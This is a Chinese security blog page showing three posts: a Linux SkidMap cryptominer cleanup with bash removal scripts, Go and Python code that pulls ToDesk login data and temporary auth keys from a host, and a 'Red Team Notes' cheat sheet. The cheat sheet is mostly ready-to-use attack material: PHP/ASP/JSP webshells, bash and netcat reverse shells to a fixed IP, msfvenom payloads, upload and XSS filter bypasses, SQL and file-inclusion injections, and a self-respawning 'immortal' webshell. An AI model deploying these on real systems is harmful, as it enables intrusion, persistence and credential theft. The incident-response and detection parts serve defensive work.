首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,537 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,350 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
3
篇与
的结果
2023-12-28
【技术分享】Linux SkidMap 挖矿病毒处置
简介初步处理,待更新...工具分享这里分享个几个应急响应工具, 这里我用 toybox ,来查找恶意程序,再分享一个排查工具 GScan。我把 toybox 这个工具上传到 /usr/bin 文件夹里,方便任意位置调用,它和 busybox 功能一样,那为什么不用 busybox?因为被恶意程序禁用掉了。检查项{collapse}{collapse-item label="排查内容" close}/etc/passwd /var/spool/cron/* /etc/crontab /etc/cron.d/* /etc/cron.daily/* /etc/cron.hourly/* /etc/cron.monthly/* /etc/cron.weekly/* /etc/anacrontab /var/spool/anacron/* /var/log/auth.log /var/log/syslog /var/log/messages /var/log/secure /var/log/audit/audit.log /var/log/boot.log /var/log/kern.log /var/log/httpd/ /var/log/mysql/ /var/log/dmesg /var/log/btmp /var/log/lastlog /var/log/wtmp /var/log/utmp{/collapse-item}{collapse-item label="排查命令" close}# 建议配合busybox或toybox来执行系统命令,避免文件被恶意程序劫持和替换。 top iftop ps -elf | grep <keyword> netstat -anop ss who -m awk -F: '($3==0)' /etc/passwd find / -name <keyword> cat ls{/collapse-item}{/collapse}查找异常tobybox top通过 toybox 定位到可疑进程占用大量CPU,重启后 gettexted 后缀会随机变化,它是挖矿的主程序。它有潜伏期现在是没挖矿状态,但后面跟着一堆可疑程序,通过计算哈希值提交给VT与微步,发现是有问题的。system.pubgettexted.psscn疑似多个命令文件被恶意程序给劫持,通过 ps、ls 发现并不能找到恶意程序,而用toybox来执行却能找到。review通过VT查找可以看到程序的可以行为,并编写了清除恶意程序的 bash 脚本。清除代码1#!/bin/bash processes=("gettexted.*" "postmaped.*" "matchpathcond.*" "postcated.*" "telinited.*" "devlinked.*") for process in "${processes[@]}"; do echo "$process" toybox pkill -f "$process" done # 清理文件 files=( "/etc/init.d/dns-udp4" "/etc/profile.d/gateway.sh" "/.mod" "/etc/.cfg" "/boot/system.pub" "/etc/profile.d/bash.cfg" "/lib/system.mark" "/usr/lib/libgdi.so.0.8.2" "/usr/sbin/netstat.cfg" "/etc/profile.d/bash.cfg.sh" ) cleanup_file() { local file="$1" toybox rm -rf "$file" toybox echo -n > "$file" toybox chmod 000 "$file" chattr +i "$file" } cleanup_files() { local files=("$@") for file in "${files[@]}"; do cleanup_file "$file" done } cleanup_files "${files[@]}" # 系统加固 toybox echo 32768 > /proc/sys/kernel/pid_max toybox echo 0 > /proc/sys/kernel/ns_last_pid toybox rm -rf /usr/bin/review toybox rm -rf /usr/bin/gettexted* toybox rm -rf /usr/bin/biosdecoded* toybox rm -rf /usr/bin/devlinked* toybox rm -rf /usr/bin/telinited* toybox rm -rf /usr/bin/postcated* toybox rm -rf /usr/bin/matchpathcond* toybox rm -rf /usr/bin/postmaped* toybox rm -rf /usr/bin/mldconfig systemctl enable kdump.service systemctl restart ssh清除代码2#!/bin/bash rm -rf /etc/init.d/dns-udp4 rm -rf /etc/profile.d/gateway.sh sed -i '/\/usr\/sbin\/netstat.cfe/d' /etc/rc.d/rc.local sed -i '/\*\/1 \* \* \* \* root \/\.mod/d' /etc/crontab sed -i '/\/lib\/system.mark/d' /etc/rc.d/init.d/network echo -n >/.mod echo -n > /etc/.cfg echo -n > /boot/system.pub echo -n > /etc/profile.d/bash.cfg echo -n > /lib/system.mark echo -n > /usr/lib/libedi.so.8.8.2 echo -n > /usr/sbin/netstat.cfg echo -n > /etc/profile.d/bash.cfg.sh echo -n > /etc/selinux/config echo -n > /dev/null rm -rf /etc/selinux/targeted/tmp/modules/100/ chmod 000 /.mod /etc/.cfg /bot/system.pub /etc/profile.d/bash.cfg /lib/system.mark /usr/lib/libgdi.so.0.8.2 /usr/sbin/metstat.cfg /etc/profile.d/bash.cfg.sh chmod +i /.mod /etc/.cfg /bot/system.pub /etc/profile.d/bash.cfg /lib/system.mark /usr/lib/libgdi.so.0.8.2 /usr/sbin/metstat.cfg /etc/profile.d/bash.cfg.sh ###替换被篡改的文件 ./toybox-x86_64 cp -f ./agetty /usr/bin/agetty ./toybox-x86_64 cp -f ./tty /usr/bin/tty ./toybox-x86_64 cp -f ./ssh /usr/bin/ssh ./toybox-x86_64 cp -f ./scp /usr/bin/scp ./toybox-x86_64 cp -f ./umount /usr/bin/umount sed -i '/auth[[:space:]]\+sufficient[[:space:]]\+pam_sftp\.so/d' /etc/pam.d/sshd sed -i '/auth[[:space:]]\+sufficient[[:space:]]\+pam_sftp\.so/d' /etc/pam.d/su sed -i '/auth[[:space:]]\+sufficient[[:space:]]\+pam_sftp\.so/d' /etc/pam.d/sudo if [ $? -eq 0 ]; then echo "命令执行成功。" else echo "命令执行失败。" fi待分析...
2023年12月28日
397 阅读
0 评论
28 点赞
2023-06-01
【信息溯源】Todesk | 向日葵信息溯源
简介在实际的攻防演练中,常常会出现追踪攻击来源并反制取证的情景,假设我们已经成功连上了目标主机,目标主机如果安装了Todesk,那么恭喜你可以通过查看Todesk目录下的 config.ini 文件来获取一些登录等相关信息。Todesk 配置文件downloadtimes 下载Todesk的时间updatePassTime 最近一次使用时间Version Todesk版本号clientid 客户端IDLoginPhone 手机号LoginEmail 邮箱账户只要登录过Todesk,它会把一些信息写入到根目录下的,config.ini配置文件中。这个跟版本没关系的,即使是最新版的Todesk,也会写到配置文件中,向日葵 配置文件向日葵,感兴趣的可以去看一下,里面也有一些信息。Go Todesk 第一版(默认路径)// main.go package main import ( "bufio" "fmt" "os" "strings" ) func main() { config_file := "C:/Program Files/ToDesk/config.ini" file, err := os.Open(config_file) if err != nil { fmt.Printf("Failed to read config file: %v\n", err) return } defer file.Close() config := make(map[string]string) scanner := bufio.NewScanner(file) for scanner.Scan() { line := strings.TrimSpace(scanner.Text()) if len(line) == 0 || strings.HasPrefix(line, ";") || strings.HasPrefix(line, "#") { continue } parts := strings.SplitN(line, "=", 2) if len(parts) != 2 { continue } key, value := strings.TrimSpace(parts[0]), strings.TrimSpace(parts[1]) config[key] = value } download_times := config["downloadtimes"] version := config["Version"] client_id := config["clientId"] temp_auth_pass_ex := config["tempAuthPassEx"] resolution := config["Resolution"] update_pass_time := config["updatePassTime"] private_data := config["PrivateData"] login_phone := config["LoginPhone"] login_email := config["LoginEmail"] fmt.Println("*********** 第一版 ***********") fmt.Printf("电子邮件账户:%s\n", login_email) fmt.Printf("手机号:%s\n", login_phone) fmt.Printf("下载时间:%s\n", download_times) fmt.Printf("最近一次使用ToDesk时间:%s\n", update_pass_time) fmt.Printf("当前屏幕尺寸:%s\n", resolution) fmt.Printf("Todesk版本号:%s\n", version) fmt.Printf("客户端ID:%s\n", client_id) fmt.Printf("私密数据:%s\n", private_data) fmt.Printf("临时认证密钥:%s\n", temp_auth_pass_ex) }你肯会说如果他没安装到默认路径怎么办呢?很简单以下是改进版自动查找路径。Go Todesk 第二版(自动搜索)// main.go package main import ( "bufio" "fmt" "os" "path/filepath" "strconv" "strings" ) const ( targetFilename = "config.ini" ) type ConfigInfo struct { DownloadTimes string Version string ClientID string TempAuthPass string Resolution string UpdatePassTime string PrivateData string LoginPhone string LoginEmail string } func visit(path string, info os.FileInfo, err error) error { if !info.IsDir() && info.Name() == targetFilename && strings.Contains(path, "ToDesk") { configFile, err := os.Open(path) if err != nil { fmt.Println(err) return nil } defer configFile.Close() configInfo := ConfigInfo{} scanner := bufio.NewScanner(configFile) for scanner.Scan() { line := scanner.Text() if strings.HasPrefix(line, ";") || strings.HasPrefix(line, "#") { continue } pair := strings.SplitN(line, "=", 2) if len(pair) != 2 { continue } key := strings.TrimSpace(pair[0]) value := strings.TrimSpace(pair[1]) switch key { case "downloadtimes": configInfo.DownloadTimes = value case "Version": configInfo.Version = value case "clientId": configInfo.ClientID = value case "tempAuthPassEx": configInfo.TempAuthPass = value case "Resolution": configInfo.Resolution = value case "updatePassTime": configInfo.UpdatePassTime = value case "PrivateData": configInfo.PrivateData = value case "LoginPhone": configInfo.LoginPhone = value case "LoginEmail": configInfo.LoginEmail = value default: } } fmt.Println("*********** 第一版 ***********") fmt.Printf("电子邮件账户:%s\n", configInfo.LoginEmail) fmt.Printf("手机号:%s\n", configInfo.LoginPhone) fmt.Printf("下载时间:%s\n", configInfo.DownloadTimes) fmt.Printf("最近一次使用ToDesk时间:%s\n", configInfo.UpdatePassTime) fmt.Printf("当前屏幕尺寸:%s\n", configInfo.Resolution) fmt.Printf("Todesk版本号:%s\n", configInfo.Version) fmt.Printf("客户端ID:%s\n", configInfo.ClientID) fmt.Printf("私密数据:%s\n", configInfo.PrivateData) fmt.Printf("临时认证密钥:%s\n", configInfo.TempAuthPass) os.Exit(0) } return nil } func isNumeric(s string) bool { _, err := strconv.ParseFloat(s, 64) return err == nil } func main() { driveLetters := []string{"C", "D", "E", "F", "G"} for _, driveLetter := range driveLetters { drivePath := fmt.Sprintf("%s:\\", driveLetter) err := filepath.Walk(drivePath, visit) if err != nil { fmt.Printf("访问 %s 目录时出错:%v\n", drivePath, err) } } }好啦,打包一下就能做一些骚操作了。(小声:自己发挥吧)Python 版本(自动搜索)import os import configparser target_filename = 'config.ini' target_strings = ['ToDesk'] drive_letters = ['C', 'D', 'E', 'F', 'G'] for drive_letter in drive_letters: drive_path = f"{drive_letter}:\\" for dirpath, dirnames, filenames in os.walk(drive_path): if target_filename in filenames and all(s in dirpath for s in target_strings): config_path = os.path.join(dirpath, target_filename) config = configparser.ConfigParser() config.read(config_path) download_times = config.get('ConfigInfo', 'downloadtimes') version = config.get('ConfigInfo', 'Version') client_id = config.get('ConfigInfo', 'clientId') temp_auth_pass = config.get('ConfigInfo', 'tempAuthPassEx') resolution = config.get('ConfigInfo', 'Resolution') update_pass_time = config.get('ConfigInfo', 'updatePassTime') private_data = config.get('ConfigInfo', 'PrivateData') login_phone = config.get('ConfigInfo', 'LoginPhone') login_email = config.get('ConfigInfo', 'LoginEmail') print(f"电子邮件账户:{login_email}") print(f"手机号:{login_phone}") print(f"下载时间:{download_times}") print(f"最近一次使用ToDesk时间:{update_pass_time}") print(f"当前屏幕尺寸:{resolution}") print(f"Todesk版本号:{version}") print(f"客户端ID:{client_id}") print(f"私密数据:{private_data}") print(f"临时认证密钥:{temp_auth_pass}") quit()运行效果
2023年06月01日
202 阅读
0 评论
14 点赞
2022-02-04
【技术分享】Red Team Notes
信息收集nmap -T4 -sS -Sv 192.168.1.100 -p- # 多线程端口扫描 dirb http://192.168.1.100 # 单线程目录扫描 dirb http://192.168.1.100 -X ".tar, .zip" -t 10 # 多线程目录文件扫描 curl -X 36.6.144.192:8089 http://www.baidu.com # 代理访问 goby fofa hunter # 简单的信息收集编码加解echo "actdream" | md5sum # 将字符串 "actdream" 转换为 MD5 哈希值 echo "actdream" | base64 # 将字符串 "actdream" 转换为 Base64 编码 echo "YWN0ZHJLYWOK" | base64 -d # 将 Base64 编码 "YWN0ZHJLYWOK" 解码 echo "%20%30%35" | xargs -d% echo # 将 URL 编码 "%20%30%35" 解码 cat 1.txt | xargs -d% echo # 处理包含多个 URL 编码的文本文件 hexdump -C 1.png # 查看图片文件 "1.png" 的十六进制表示 cat 1.txt | hexdump -ve '1/1 "%.2X"' # 将文本文件 "1.txt" 转换成十六进制格式输出字符匹配strings filepath | grep -E "flag1|flag2" # 多字符匹配,匹配包含"flag1"或"flag2"的字符串 ps aux | grep 'root.* ./a.out$' # 使用正则匹配,从头到尾匹配字符串 find / -name flag* # 匹配前缀为"flag"的文件或目录 (\d{1,3}\.){3}\d{1,3} # 匹配ip地址文件权限chmod +x filename # 给予文件可执行权限 chmod +r filename # 给予文件可读权限 chmod +w filename # 给予文件可写权限 chmod 755 filename # 给予执行、读权限,同时取消写权限 chmod 700 filename # 给予执行、读、写权限 chmod 777 filename # 给予最高权限 chmod 000 filename # 给予全部无权限 chmod -x filename # 取消文件可执行权限 chmod 6 filename # 给予可读、可写权限(去除文件小锁)压缩包破解zip2john flag.zip > 1.txt # 提取 zip 压缩包的哈希值 rar2john flag.zip > 1.txt # 提取 rar 压缩包的哈希值 john 1.txt # 使用 John the Ripper 计算压缩包的密码 john 1.txt --wordlist=dict.txt # 使用指定字典文件破解哈希值 crunch 4 4 0123456789 -o 1.txt # 生成四位数密码组合,保存到 1.txt木马wf绕过copy /b 1.jpg + 1.php 2.jpg # 复制并插入文件 echo "<?php eval(\$_POST['c']); ?>" >> 1.png # 在 PNG 文件末尾追加 PHP 代码执行 <?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST["sh"]); ?>'); ?> # 写入一句话木马到 shell.php # REQUEST 提交支持 post get <?php system($_REQUEST["cmd"]); ?> # 使用系统命令执行 # ASP 一句话 <% eval request("cmd") %> # 使用 ASP 代码执行命令 # JSP 一句话 <% Runtime.getRuntime().exec(request.getParameter("cmd")); %> # 使用 JSP 执行命令 # base64 编码 system <?php $a = base64_decode("c3lzdGVt"); $a($_GET['a']); ?> # base64 解码并执行命令 # 字符拼接 <?php $a="e"."v"; $b="a"."l"; $c=$a.$b; $c($_POST['a']); # 拼接函数名并执行 <?php $str="a=eval"; parse_str($str); $a($_POST['a']); # 使用字符串拼接函数名 <?php $a = "eval"; $a(@$_POST['a']); # 使用字符串赋值函数名 ?>/* eval - 可利用执行系统命令 system() - 执行系统命令 passthru() - 执行系统命令并输出结果 exec() - 执行系统命令并返回结果 shell_exec() - 执行系统命令并返回结果 popen() - 打开一个进程来执行系统命令 proc_open() - 执行系统命令并返回进程资源 */反弹Shell<?php $binary_data = file_get_contents('1.exe'); echo bin2hex($binary_data); # 将二进制文件转换为十六进制 <?php $res_data = hex2bin('hex'); file_put_contents('1.exe', $res_data); # 还原为二进制程序 data = bytes.fromhex(open('1.hex', 'r').read()) # Python3 读取16进制数据 open('output', 'wb').write(data) # 还原为二进制可执行文件 weevely generate 208 1.php # 生成木马 weevely url password # 连接木马 bash -i >& /dev/tcp/192.168.213.141/888 0 >&1 # bash 反弹shell <?php $a = shell_exec($_GET['s']); echo "<pre>$a</pre>"; # 使用GET请求执行shell命令 <?php exec("bash -c 'bash -i >& /dev/tcp/192.168.213.141/888 0 >&1'"); # PHP反弹shell msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.213.141 LPORT=4444 -f exe > 1.exe # 生成Windows木马 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.213.141 LPORT=4444 -f elf > 1.elf # 生成Linux木马 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.213.141 LPORT=4444 -f raw > 1.php # 生成PHP木马 # msfconsole msfconsole -q # 启动metasploit框架 use exploit/multi/handler # 创建监听器 set payload php/meterpreter/reverse_tcp # 设置PHP payload set payload linux/x64/meterpreter/reverse_tcp # 设置Linux payload set payload windows/meterpreter_reverse_tcp # 设置Windows payload set lhost 192.168.213.141 # 设置反弹主机 set lport 4444 # 设置监听端口 show options # 查看选项 run # 启动监听 getsystem # Windows提权 nc -lvp 888 # 使用netcat监听端口 bash -i >& /dev/tcp/192.168.213.141/888 0 >&1 python -c 'import pty; pty.spawn("/bin/bash")' # 启动新的bash来增强交互 nc -lvp 888 > 1.txt # 接收文件 nc 192.168.213.133 888 < 1.txt # 传输文件 nc -e cmd 192.168.100.129 4444 # Windows 反弹shell nc -e /bin/bash 192.168.100.129 4444 # Linux 反弹shell nc -lvp 4444 # 接收反弹shell python3 -m http.server 80 # 启动Python HTTP服务(用于下载文件) php -S 192.168.213.132:80 # 启动PHP HTTP服务(用于下载文件) cat data.json | python -m json.tool # JSON格式化转换上传漏洞// 白名单绕过: X-Forwarded-For: 127.0.0.1 # 伪装请求源ip // 双后缀名绕过:xxx.phpphp MIME绕过:image/jpg // 空格绕过:xxx.jpg空格 .htaccess绕过:AddType application/x-httpd-php .jpg // 大小写绕过:phP PHP Php .user.ini绕过:auto_prepend_file=a.jpg auto_append_file=a.jpg // 文件头绕过:GIF89a 89504E47 FFD8FF 后缀:Php php2 php3 php4 php5 php6 php7 pht phtm phtml <scrip language="php">@eval($_POST['c']);<script> <?php eval($_POST['sh']); <? eval($_POST['sh']); # 去php头绕过 // 可利用执行函数 eval() system() exec() shell_exec() //(反引号也可以) passthru() pcntl_exec() popen() proc_open() create_function()SQL注入语句sqlmap -r 1.txt -dbs -batch sqlmap -r 1.txt -D test -tables -batch sqlmap -r 1.txt -D test -T note -columns -batch sqlmap -r 1.txt -D test -T note -C user,pass -batch # sqlmap工具 sqlmap -m 1.txt --batch # 批量注入 1' or '1' = '1 # 字符型绕过 0' union select 1,2,3 --+ 0' union select 1,version(), database() #堆叠注入 1'; show databases;# 显示数据库 1'; show tables;# 查看表名 1'; show columns from note# 查看表字段 id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='note' --+ # 查看字段 id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g' --+ # 查看字段 id=0' union select 1,group_concat(fllllag),3 from note.fl4g --+ # 查看字段内容代码加固$str = "Is your name O'reilly?"; echo addslashes($str); // 简单加反斜杠 // 输出结果:Is your name O\'reilly? $str = "Is y\our name O\\'reilly\\\?"; echo stripslashes($str); // 简单去除反斜杠 // 输出结果:Is your name O'reilly\? $str = "<script>alert('test')</script>"; echo htmlspecialchars($str); // XSS 简单防御 // 输出结果:<script>alert('test')</script> $str = "select * from users where user_id =1' and 1=1 #"; echo addslashes($str); // SQL注入简单防御 // 输出结果:select * from users where user_id =1\' and 1=1 #系统排查eventvwr.msc # 事件查看器,查看登录、注销、错误等事件 4624 登录成功 4625 登录失败 4634 注销成功 4647 用户启动注销 4672 使用管理员进行登录 4720 创建用户 # 文件时间排序排查,文件名称可疑排查 %UserProfile%\Recent # 最近操作 %temp% # 临时缓存 %appdata% # 应用数据目录 gpedit.msc # 组策略 systeminfo # 系统信息 services.msc # 应用服务 netstat -ano | findstr ES # 排查可疑网络连接 net user # 查看本地用户 net user Guest # 查看用户详细信息 lusrmgr.msc # 本地用户组 regedit # 注册表 msconfig # 打开启动项 taskschd.msc # 任务计划 # Linux 命令 /var/log/cron # 系统定时任务相关日志 /etc/rc.local /var/log/dmesg # 开机自检信息 /var/log/lastlog # 最后一次登录日志 /var/log/auth.log # 记录验证和授权 如SSH登录、su切换用户、sudo授权 /etc/crontab # 启动项 /etc/profile # 环境变量 cat /etc/passwd # 查看用户是否有可疑 cat /etc/passwd | grep x:0 # 新增的就可能存在 cat /etc/passwd | grep /bin/bash # 查看使用shell的用户 ls -l /proc/XXX/XXXX # 查看对应文件路径 ps –aux | grep pid # 查看pid对应的程序 top -p pid # 监控指定进程 userdel -r xp # 删除用户 并将/home目录下的user目录一并删除 grep -o "Failed password" /var/log/secure|uniq -c # 查看登录失败次数 history # 查看终端命令历史命令 stat /etc/passwd # 查看文件近期修改 ls -lt --time=ctime # 查看最近被修改过的文件 ls -lt --time=ctime /home/kali # 指定文件路径 crontab -l # 查看启动项 creontab -e # 编辑启动项 uname -r # 查看内核版本 rpm -qa | grep apache # 查看是否有这样的软件 ps -ef | grep apache # 查询apache 进程 service httpd restart # 重启httpd firewall-cmd --zone=public --add-port=80/tcp --permanent # 开放80端口 firewall-cmd --reload # 重启防火墙 firewall-cmd --list-ports # 显示运行通过端口 rpm -qa # 查询软件包 service mariadb status # 查看服务状态 service mariadb start # 启动服务 service mariadb restart # 重启服务 rpm -e openssh-server # 删除软件文件包含?file=data://text/plain,<?php system('ls'); // 使用PHP系统命令来列出文件列表 ?file=data://text/plain,<?php system('tac flag.php'); # 查看文件内容 ?file=data://text/plain,<?=system('tac flag*'); // 绕过后缀过滤查看所有以flag开头的文件内容 ?file=/var/log/nginx/access.log&2=system('ls /var/www/html');phpinfo(); // 访问日志和文件列表操作 ?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');phpinfo(); // 查看 /var/www/html/fl0g.php 文件内容 程序特征码易语言按钮征码: 查找二进制字符串 FF25,看是否有很多 JMP 堆叠在一起,如果有则很可能是易语言程序。 FF 55 FC 5F 5E MFC类程序: 运行程序然后就 CTRL+F,查找特征代码: sub eax,0a 断下后 F7 跟进就会来到按钮事件代码处了!(如果没有 CALL,则跳过此处,即此处不为按钮事件) (或者不用 F7,直接 enter 回车跟入跳转,在 call 处下断点) Delphi BC++程序: 740E8BD38B83????????FF93???????? 万能断点: OD 选择查看->模块->USER32,在模块内查找二进制字符串,下断点后执行到断点,使用 alt+F9 回到用户代码。 F3A58BC883E103F3A4E8 条件断点: [ebp-4]!=0x4010AC 总结: MFC: sub eax,0a VC++6.0: sub eax,0a VB语言: 81 6C 24 易语言: FF 55 FC 5F 5E 或 (e-debug) 万能断点: F3 A5 8B C8 83 E1 03 F3 A4 E8 Z(User32 模块下断) Delphi: 74 0E 8B D3 8B 83 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 蓝屏保护特征码: 55 8B EC BB 06 00 00 00 蓝屏防御特征码: 55 8B EC 81 EC 14 00 00 00 68 0C 00 00 00 API函数断点追数据,比如断点 MessageBoxA 断下来了, 就按快捷键 ctrl + F9 返回,到 ret 再按 F8,一直往上追数据。{collapse}{collapse-item label="目录字典" close}.git .git/HEAD .git/index .git/config .git/description source source.php .idea/workspace.xml source.php.bak .source.php.bak source.php.swp README.MD README.md README .gitignore /db/db.mdb .svn .svn/wc.db .svn/entries user.php.bak .hg .DS_store WEB-INF/web.xml WEB-INF/src/ WEB-INF/classes WEB-INF/lib WEB-INF/database.propertie CVS/Root CVS/Entries .bzr/ %3f %3f~ .%3f.swp .%3f.swo .%3f.swn .%3f.swm .%3f.swl _viminfo .viminfo %3f~ %3f~1~ %3f~2~ %3f~3~ %3f.save %3f.save1 %3f.save2 %3f.save3 %3f.bak_Edietplus %3f.bak %3f.back phpinfo.php robots.txt .htaccess .bash_history .svn/ .git/ .index.php.swp index.php.swp index.php.bak .index.php~ index.php.bak_Edietplus index.php.~ index.php.~1~ index.php index.php~ index.phps index.php.rar index.php.zip index.php.7z index.php.tar.gz index.php.txt login.php register register.php test.php upload.php phpinfo.php t.php www.zip www.rar www.7z www.tar.gz www.tar web.zip web.rar web.zip web.7z web.tar.gz web.tar plus qq.txt log.txt wwwroot.rar web.rar dede admin edit Fckeditor ewebeditor bbs Editor manage shopadmin web_Fckeditor login webadmin admin/WebEditor admin/daili/webedit login/ database/ tmp/ manager/ manage/ web/ admin/ shopadmin/ wp-includes/ edit/ editor/ user/ users/ admin/ home/ test/ administrator/ houtai/ backdoor/ flag/ upload/ uploads/ download/ downloads/ manager/ root.zip root.rar wwwroot.zip wwwroot.rar backup.zip backup.rar .svn/entries .git/config .ds_store flag.php fl4g.php f1ag.php f14g.php admin.php 4dmin.php adm1n.php 4dm1n.php admin1.php admin2.php adminlogin.php administrator.php login.php register.php upload.php home.php log.php logs.php config.php member.php user.php users.php robots.php info.php phpinfo.php backdoor.php fm.php example.php mysql.bak a.sql b.sql db.sql bdb.sql ddb.sql users.sql mysql.sql dump.sql data.sql backup.sql backup.sql.gz backup.sql.bz2 backup.zip rss.xml crossdomain.xml 1.txt flag.txt /wp-config.php /configuration.php /sites/default/settings.php /config.php /config.inc.php /conf/_basic_config.php /config/site.php /system/config/default.php /framework/conf/config.php /mysite/_config.php /typo3conf/localconf.php /config/config_global.php /config/config_ucenter.php /lib /data/config.php /data/config.inc.php /includes/config.php /data/common.inc.php /caches/configs/database.php /caches/configs/system.php /include/config.inc.php /phpsso_server/caches/configs/database.php /phpsso_server/caches/configs/system.php 404.php index.html user/ users/ admin/ home/ test/ administrator/ houtai/ backdoor/ flag/ uploads/ download/ downloads/ manager/ phpmyadmin/ phpMyAdmin/{/collapse-item}{/collapse}XSS语句<script>alert(1);</script> <!-- 基本XSS漏洞 --> <body onscroll=alert("xss");> <!-- 滚动时触发XSS --> <br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> <!-- 自动聚焦 --> <body/onload=alert("xss");> <!-- 页面加载时触发XSS --> <audio src=x onerror=alert("xss");> <!-- 音频错误时触发XSS --> <video><source onerror="alert(1)"> <!-- 视频播放错误触发XSS --> <iframe onload=alert("xss");></iframe> <!-- iframe加载时触发XSS --> <svg onload=alert("xss");> <!-- SVG加载时触发XSS --> <details open ontoggle="alert('xss');"> <!-- 可折叠元素切换时触发XSS --> <input onfocus="alert('xss');"> <!-- 输入框聚焦时触发XSS --> <scirpt>alert("xss");</script> <!-- 脚本标签 --> <textarea onfocus=alert("xss"); autofocus> <!-- 多行文本框 --> <a href="javascript:alert(`xss`);">xss</a> <!-- 超链接触发XSS --> <a href="javascript:alert(`xss`);">xss</a> # 空格绕过 / 代替空格 <ImG sRc=x onerRor=alert("xss");> # 大小写绕过 <imimgg srsrcc=x onerror=alert("xss");> # 双写字绕过 <img src="x" onerror="a=`alert`;b=`(`;c='xss`;eval(a+b+c)"> # 字符拼接 <!-- Unicode编码绕过 --> <img src="x" onerror="alert("xss");"> <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> <!-- url编码绕过 --> <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> <!-- ascii码绕过 --> <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"> <!-- hex绕过 --> <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')> <!-- 八进制绕过 --> <img src=x onerror=alert('\170\163\163')> <!-- base64绕过 --> <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> <!-- 十进制IP --> <img src="x" onerror=document.location=`http://2130706433/`> <!-- 八进制IP --> <img src="x" onerror=document.location=`http://0177.0.0.01/`> <!-- 十六进制 --> <img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>流量过滤ftp http arp udp telnet smtp username password flag{ flag Rar PK .rar .zip .png .py .tar.gz .7z .jpg 666c6167 f JFIF # 关键字文件搜索 nbns # 查找主机名称 http contains "robots.txt" or http.request.uri contains "robots.txt" # 查看robots.txt ftp contains "USER" and ftp contains "PASS" # 查找账号密码 http contains "uname" # 查看内核版本 http contains "www-data" or http contains "root" # 查看shell连接后权限 http.request.uri contains "login" or http.request.uri contains "admin" # 查找url存在login或admin tcp.connection.syn # 查看tcp第一次访问 ftp contains "USER" # 过滤FTP账号 http contains "404" # 搜索被爆破哪些目录 tcp.flags.syn==1 # 查看被扫描了哪些端口 tcp.flags.syn==1 and ip.src==192.168.213.145 # 查看哪些端口被扫描 - 开放 http.request.method == POST or http contains "submit" # 查找表单关键字 http.response.code==200 and http contains "database" # 查看数据库请求成功后 http contains ".log" # 查看存在日志关键字 http contains "<?php eval" http contains "<?php @eval" # 过滤内容存在一句话木马 http.request.uri contains "shell.php" # 过滤url存在敏感文件 ip.port == 3306 and http contains "version=" # mysql版本 http contains "whoami" or http contains "ls" # 查看被入侵后 http contains "acunetix" # 搜索扫描工具特征 一般扫描工具:Awvs, Netsparker, Appscan, Webinspect, Rsas, Nessus, WebReaver, Sqlmap不死马<?php // 忽略用户断开请求,保证脚本持续运行 ignore_user_abort(true); // 设置脚本执行时间无限制 set_time_limit(0); // 删除当前脚本自身,防止重复执行 unlink(__FILE__); // 定义新的shell.php文件名 $file = 'shell.php'; // 编写webshell代码,包含密码验证和命令执行 $code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>'; // 无限循环生成shell.php文件 while (1) { // 写入webshell代码到文件 file_put_contents($file, $code); // 修改文件修改时间,防止被删除 system('touch -m -d "2020-12-01 09:10:12" shell.php'); // 每隔5秒执行一次 usleep(5000); } ?> // passwd=AabyssTeam // POST传参:passwd=AabyssTeam&cmd=system('ls');<?php // 设置脚本执行时间无限制 set_time_limit(0); // 忽略用户断开请求,脚本将后台运行 ignore_user_abort(1); // 删除当前脚本自身,防止重复执行 unlink(__FILE__); // 无限循环生成shell.php文件 while(1) { // 创建shell.php文件并写入简单的webshell代码 file_put_contents('shell.php','<?php @eval($_POST["cmd"]);?>'); // 间隔时间,防止过于频繁 sleep(0); } 